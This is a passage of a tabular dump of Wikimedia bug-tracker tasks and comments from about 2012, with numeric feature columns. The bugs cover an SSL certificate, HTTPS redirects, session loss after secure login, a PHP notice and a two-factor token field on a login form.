21b50367 (Antoine Musso 2011-11-17 14:50:15 +0100 112) 	SSLEngine on
3e2f00d4 (Antoine Musso 2011-12-21 19:42:25 +0100 113) 	SSLCertificateFile /etc/ssl/certs/star.mediawiki.org.pem
3e2f00d4 (Antoine Musso 2011-12-21 19:42:25 +0100 114) 	SSLCertificateKeyFile /etc/ssl/private/star.mediawiki.org.key
0e0d2d43 (dzahn         2011-12-28 16:52:37 +0100 115) 	SSLCACertificateFile /etc/ssl/certs/RapidSSL_CA.pem"
209268,bad certificate on integration.mediawiki.org,"Cert is indeed *.mediawiki.org, assuming it got fixed somehow.",,,1357574063,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-kr6fcpndz6xhevdhteh3,task_subcomment,,True,c2,1,True,,,-34,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,25.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.5,1.0,"Cert is indeed *.mediawiki.org, assuming it got fixed somehow."
209260,bad certificate on integration.mediawiki.org,It's giving me a *.mediawiki.org certificate...,,,1357139626,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-kr6fcpndz6xhevdhteh3,task_subcomment,,True,c2,1,True,,,-34,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,22.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,4.666666666666667,1.0,It's giving me a *.mediawiki.org certificate...
44832,Can't return to http after login with $wgSecurelogin,"When $wgSecurelogin is true, the login has the checkbox ""Stay connected to HTTPS after login"".

If this option is left unchecked, the user's session cookie is set with the secure flag, but the user is then forwarded to http, and loose their session.

If you have not patched bug 40995, then you will often not see this, since the session frequently will be started under an insecure connection, and is not refreshed on login.

--------------------------
**Version**: 1.21.x
**Severity**: normal",Needs Triage,90.0,1354908720,1355339764.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-rpc7m2dj6naiq2gg7d4w,task_description,resolved,True,c2,1,True,False,True,-38,True,0.0,0.0,0.0,3.5,3.0,3.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.5,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,5.0,0.0,0.5,0.0,0.0,0.0,8.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,3.5,0.0,1.0,0.0,0.0,0.0,4.5,4.0,5.0,3.0,2.0,6.0,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,2.5,6.0,0.5,0.0,1.0,0.0,2.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,3.898148148148148,0.7037037037037037,"When $wgSecurelogin is true, the login has the checkbox ""Stay connected to HTTPS after login"".

If this option is left unchecked, the user's session cookie is set with the secure flag, but the user is then forwarded to http, and loose their session.

If you have not patched bug 40995, then you will often not see this, since the session frequently will be started under an insecure connection, and is not refreshed on login.

--------------------------
**Version**: 1.21.x
**Severity**: normal"
191203,Can't return to http after login with $wgSecurelogin,"Brian, I totally agree.

Tyler, I *think* we can add a parameter to set the session as secure or insecure as part of the session refresh on a successful login.

So the login csrf token is checked against the original session, but the new session is secure/insecure based on the checkbox.",,,1354911516,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-rpc7m2dj6naiq2gg7d4w,task_subcomment,,True,c2,1,True,,,-38,True,0.0,0.0,2.0,2.0,0.0,10.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,8.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,11.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7936507936507935,0.6507936507936508,"Brian, I totally agree.

Tyler, I *think* we can add a parameter to set the session as secure or insecure as part of the session refresh on a successful login.

So the login csrf token is checked against the original session, but the new session is secure/insecure based on the checkbox."
191198,Can't return to http after login with $wgSecurelogin,"I would agree, but some wikis don't want that. I would agree to having an option forcing all logged in users to be on HTTPS, but we should at least have the option of allowing returning to HTTP.",,,1354911331,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-rpc7m2dj6naiq2gg7d4w,task_subcomment,,True,c2,1,False,,,-38,True,5.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,16.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,9.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,7.0,16.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,9.0,0.0,2.0,0.0,3.6511627906976742,0.7906976744186046,"I would agree, but some wikis don't want that. I would agree to having an option forcing all logged in users to be on HTTPS, but we should at least have the option of allowing returning to HTTP."
191190,Can't return to http after login with $wgSecurelogin,I would recommend removing the checkbox -- all logins should go through https or you're just leaving the account open to session stealing if on open networks.,,,1354910746,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-rpc7m2dj6naiq2gg7d4w,task_subcomment,,True,c2,1,True,,,-38,True,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.551724137931035,0.9310344827586207,I would recommend removing the checkbox -- all logins should go through https or you're just leaving the account open to session stealing if on open networks.
191183,Can't return to http after login with $wgSecurelogin,https://gerrit.wikimedia.org/r/37488,,,1354910205,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-rpc7m2dj6naiq2gg7d4w,task_subcomment,,True,c2,1,False,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
191178,Can't return to http after login with $wgSecurelogin,"Hmm, so since the session is set up when the form loads, from what I see the only way to fix this is to close the session, change the cookie parameters, and then restart the session.",,,1354909755,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-rpc7m2dj6naiq2gg7d4w,task_subcomment,,True,c2,1,False,,,-38,True,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,12.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,5.0,5.0,5.0,17.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5853658536585367,0.7073170731707317,"Hmm, so since the session is set up when the form loads, from what I see the only way to fix this is to close the session, change the cookie parameters, and then restart the session."
44823,Changed file bug report (on announcement) to https instead of http,"**Author:** `Thehelpfulonewiki`

**Description:**
Per recent guidelines to document every change, I adjusted the URL for the upgrade notification message at the bottom of this page to use https:// instead of http://, per a request by a user.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1354885920,1354885994.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-htyj7hvn7iwsj2mwoyav,task_description,resolved,True,c2,1,False,False,True,-38,True,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,13.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,13.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.9402985074626864,0.6417910447761194,"**Author:** CODE

**Description:**
Per recent guidelines to document every change, I adjusted the URL for the upgrade notification message at the bottom of this page to use https:// instead of URL per a request by a user.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
190617,Changed file bug report (on announcement) to https instead of http,Related URL: https://gerrit.wikimedia.org/r/58075 (Gerrit Change Ic8cc1a4ad79661ee478f538e92f78c06b9942e94),,,1365421828,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-htyj7hvn7iwsj2mwoyav,task_subcomment,,True,c2,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ic8cc1a4ad79661ee478f538e92f78c06b9942e94)
190609,Changed file bug report (on announcement) to https instead of http,"**Thehelpfulonewiki** wrote:

This was done yesterday",,,1354885994,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-htyj7hvn7iwsj2mwoyav,task_subcomment,,True,c2,1,False,,,-38,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,0.75,"**Thehelpfulonewiki** wrote:

This was done yesterday"
44605,Redirect on mobile browser drops https,"If you try to open a https Wikipedia page (for instance https://en.wikipedia.org/wiki/Wikipedia) on a mobile browser (for example Android 4.1's default browser), you get redirected to a non-https Wikipedia page (in the example above, http://en.m.wikipedia.org/wiki/Wikipedia).

It should preserve the user's choice of http vs https, or always redirect to https.

Version according to Special:Version: MobileFrontend (Version 0.7.0) (a572c13).

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux
**Platform**: Smartphone",Needs Triage,90.0,1354368720,1354536412.0,PHID-USER-kyti3k4dq56escr7mybr,False,,False,PHID-TASK-ieczcavlyccb4c2frbtg,task_description,resolved,True,c2,1,False,False,True,-39,True,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,6.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,13.0,0.5,1.0,2.5,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,1.5,6.5,6.5,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,3.6842105263157894,0.5701754385964912,"If you try to open a https Wikipedia page (for instance URL on a mobile browser (for example Android 4.1's default browser), you get redirected to a non-https Wikipedia page (in the example above, URL

It should preserve the user's choice of http vs https, or always redirect to https.

Version according to Special:Version: MobileFrontend (Version 0.7.0) (a572c13).

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux
**Platform**: Smartphone"
202944,Redirect on mobile browser drops https,"Hi Cesar. Thanks for taking the time to report this!
This particular problem has already been reported into our bug tracking system, but please feel free to report any further issues you find.

*** This bug has been marked as a duplicate of bug 35215 ***",,,1354536412,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ieczcavlyccb4c2frbtg,task_subcomment,,True,c2,1,True,,,-39,True,2.0,0.0,0.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,2.0,11.0,0.0,0.0,2.0,0.0,5.0,4.0,2.0,0.0,4.0,11.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.767857142857143,0.7678571428571429,"Hi Cesar. Thanks for taking the time to report this!
This particular problem has already been reported into our bug tracking system, but please feel free to report any further issues you find.

*** This bug has been marked as a duplicate of bug 35215 ***"
44409,www.wikimedia.org -> wikimediafoundation.org redirect strips https,"https://www.wikimedia.org/wiki/A => http://wikimediafoundation.org/wiki/A

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1353765600,1353765787.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-p2a5ggn5nlnettekd6tj,task_description,resolved,True,c2,1,False,False,True,-40,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.6363636363636362,0.5454545454545454,"URL => URL

--------------------------
**Version**: unspecified
**Severity**: normal"
190664,www.wikimedia.org -> wikimediafoundation.org redirect strips https,"This is already being fixed in Gerrit change 13293.

*** This bug has been marked as a duplicate of bug 31369 ***",,,1353765787,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p2a5ggn5nlnettekd6tj,task_subcomment,,True,c2,1,True,,,-40,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.3214285714285716,0.75,"This is already being fixed in Gerrit change 13293.

*** This bug has been marked as a duplicate of bug 31369 ***"
44146,PHP Notice:  Undefined index: HTTP_USER_AGENT in /www/translatewiki.net/w/extensions/SemanticForms/includes/SF_FormUtils.php on line 252,"Seems to be introduced in Iaa04af187d182c0253931f3b4d099bbdd453bdf2. Could be CLI script or something else.

--------------------------
**Version**: master
**Severity**: minor",Needs Triage,90.0,1352964120,1353035542.0,PHID-USER-732lqsmz4v6bss3kln2v,False,,False,PHID-TASK-2qcfc4q4yivq6hblpq3r,task_description,resolved,True,c2,1,False,False,True,-41,True,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.878787878787879,0.6666666666666666,"Seems to be introduced in Iaa04af187d182c0253931f3b4d099bbdd453bdf2. Could be CLI script or something else.

--------------------------
**Version**: master
**Severity**: minor"
201076,PHP Notice:  Undefined index: HTTP_USER_AGENT in /www/translatewiki.net/w/extensions/SemanticForms/includes/SF_FormUtils.php on line 252,"Hi - yes; this commit:

https://gerrit.wikimedia.org/r/gitweb?p=mediawiki/extensions/SemanticForms.git;a=commit;h=2ffe5a4d64704b138df46a8b9f36914d2d391733",,,1353068128,,PHID-USER-7jqnferdzzzwelhzchyo,False,,,PHID-TASK-2qcfc4q4yivq6hblpq3r,task_subcomment,,True,c2,1,False,,,-41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5555555555555554,1.0,"Hi - yes; this commit:

URL"
201070,PHP Notice:  Undefined index: HTTP_USER_AGENT in /www/translatewiki.net/w/extensions/SemanticForms/includes/SF_FormUtils.php on line 252,"Did you do something that might fix this, and if so what?",,,1353050275,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-2qcfc4q4yivq6hblpq3r,task_subcomment,,True,c2,1,False,,,-41,True,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,1.0,"Did you do something that might fix this, and if so what?"
201065,PHP Notice:  Undefined index: HTTP_USER_AGENT in /www/translatewiki.net/w/extensions/SemanticForms/includes/SF_FormUtils.php on line 252,"I believe this is now fixed; I'm setting to ""fixed"", but feel free to re-open.",,,1353035542,,PHID-USER-7jqnferdzzzwelhzchyo,False,,,PHID-TASK-2qcfc4q4yivq6hblpq3r,task_subcomment,,True,c2,1,False,,,-41,True,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,4.0,13.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,13.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.782608695652174,0.8260869565217391,"I believe this is now fixed; I'm setting to ""fixed"", but feel free to re-open."
44131,"Special:UserLogin on labsconsole.wikimedia.org shows a useless ""Token"" field","When I go to <https://labsconsole.wikimedia.org/wiki/Special:UserLogin>, I see:

Username:    [     ]
Password:    [     ]
Your domain: [labs]
Token:       [     ]
[ ] Remember my login...

The ""token"" field is apparently completely useless for a typical login. I'm not really sure why it's there at all. It confused the hell out of me when trying to register a new account. It should, at a minimum, say ""Token (optional)"" or something.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=46179",Needs Triage,90.0,1352944920,1353098216.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-yaenbow3yopcurwmttkx,task_description,declined,True,c2,1,True,False,True,-41,True,1.0,1.0,0.5,0.0,0.5,5.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,7.0,5.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,8.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.5,11.5,2.0,1.0,3.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.5,5.0,1.5,0.0,2.5,0.0,5.5,0.0,2.0,2.0,1.0,1.0,0.0,0.0,1.5,3.1229603729603728,0.6488344988344988,"When I go to <URL I see:

Username:    [     ]
Password:    [     ]
Your domain: [labs]
Token:       [     ]
[ ] Remember my login...

The ""token"" field is apparently completely useless for a typical login. I'm not really sure why it's there at all. It confused the hell out of me when trying to register a new account. It should, at a minimum, say ""Token (optional)"" or something.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
200108,"Special:UserLogin on labsconsole.wikimedia.org shows a useless ""Token"" field","I'm marking this WONTFIX: Challenge/response is the proper way of handling this, as you shouldn't let an attacker know if two-factor is enabled unless the user logs in with the proper username/password. MediaWiki core has no support for challenge/response.

This isn't really a bug with labsconsole. If you'd like to see this fixed, open two bugs:

1. A bug in mediawiki core for challenge/response
2. A bug in extension OATHAuth to use the core support",,,1353098216,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-yaenbow3yopcurwmttkx,task_subcomment,,True,c2,1,False,,,-41,True,0.0,0.0,0.0,0.5,1.5,2.0,0.5,0.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,0.5,0.0,3.5,10.5,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.5,1.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,2.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,6.0,2.0,7.0,2.0,0.0,9.5,0.0,0.0,0.0,0.0,4.0,0.0,2.5,0.0,2.0,10.5,1.5,0.0,0.0,0.0,2.0,0.0,0.0,3.5,0.0,1.0,0.0,0.0,1.0,3.779019607843137,0.8213725490196079,"I'm marking this WONTFIX: Challenge/response is the proper way of handling this, as you shouldn't let an attacker know if two-factor is enabled unless the user logs in with the proper username/password. MediaWiki core has no support for challenge/response.

This isn't really a bug with labsconsole. If you'd like to see this fixed, open two bugs:

1. A bug in mediawiki core for challenge/response
2. A bug in extension OATHAuth to use the core support"
200101,"Special:UserLogin on labsconsole.wikimedia.org shows a useless ""Token"" field","(In reply to comment #2)
> Oh, of course it's visible since you /might/ have 2-factor turned on.  So that
> should be explained on the form somehow...

